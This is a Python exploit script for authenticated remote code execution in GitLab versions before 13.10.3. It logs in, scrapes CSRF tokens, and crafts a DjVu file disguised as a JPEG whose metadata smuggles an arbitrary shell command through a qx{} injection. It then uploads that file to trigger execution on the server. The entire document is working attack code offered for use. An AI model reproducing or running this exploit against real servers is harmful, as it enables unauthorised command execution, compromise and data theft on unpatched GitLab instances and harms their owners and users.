1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 |
# Exploit Title: Gitlab 13.10.2 - Remote Code Execution (Authenticated) # Date: 04/06/2021 # Exploit Author: enox # Vendor Homepage: https://about.gitlab.com/ # Software Link: https://gitlab.com/ # Version: < 13.10.3 # Tested On: Ubuntu 20.04 # Environment: Gitlab 13.10.2 CE # Credits: https://hackerone.com/reports/1154542 import requests from bs4 import BeautifulSoup import random import os import argparse parser = argparse.ArgumentParser(description='GitLab < 13.10.3 RCE') parser.add_argument('-u', help='Username', required=True) parser.add_argument('-p', help='Password', required=True) parser.add_argument('-c', help='Command', required=True) parser.add_argument('-t', help='URL (Eg: http://gitlab.example.com)', required=True) args = parser.parse_args() username = args.u password = args.p gitlab_url = args.t command = args.c session = requests.Session() # Authenticating print("[1] Authenticating") r = session.get(gitlab_url + "/users/sign_in") soup = BeautifulSoup(r.text, features="lxml") token = soup.findAll('meta')[16].get("content") login_form = { "authenticity_token": token, "user[login]": username, "user[password]": password, "user[remember_me]": "0" } r = session.post(f"{gitlab_url}/users/sign_in", data=login_form) if r.status_code != 200: exit(f"Login Failed:{r.text}") else: print("Successfully Authenticated") # payload creation print("[2] Creating Payload ") payload = f"\" . qx{{{command}}} . \\\n" f1 = open("/tmp/exploit","w") f1.write('(metadata\n') f1.write('(Copyright "\\\n') f1.write(payload) f1.write('" b ") )') f1.close() # Checking if djvumake is installed check = os.popen('which djvumake').read() if (check == ""): exit("djvumake not installed. Install by running command : sudo apt install djvulibre-bin") # Building the payload os.system('djvumake /tmp/exploit.jpg INFO=0,0 BGjp=/dev/null ANTa=/tmp/exploit') # Uploading it print("[3] Creating Snippet and Uploading") # Getting the CSRF token r = session.get(gitlab_url + "/users/sign_in") soup = BeautifulSoup(r.text, features="lxml") csrf = soup.findAll('meta')[16].get("content") cookies = {'_gitlab_session': session.cookies['_gitlab_session']} headers = { 'User-Agent': 'Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US);', 'Accept': 'application/json', 'Accept-Language': 'en-US,en;q=0.5', 'Accept-Encoding': 'gzip, deflate', 'Referer': f'{gitlab_url}/projects', 'Connection': 'close', 'Upgrade-Insecure-Requests': '1', 'X-Requested-With': 'XMLHttpRequest', 'X-CSRF-Token': f'{csrf}' } files = {'file': ('exploit.jpg', open('/tmp/exploit.jpg', 'rb'), 'image/jpeg', {'Expires': '0'})} r = session.post(gitlab_url+'/uploads/user', files=files, cookies=cookies, headers=headers, verify=False) if r.text != "Failed to process image\n": exit("[-] Exploit failed") else: print("[+] RCE Triggered !!") |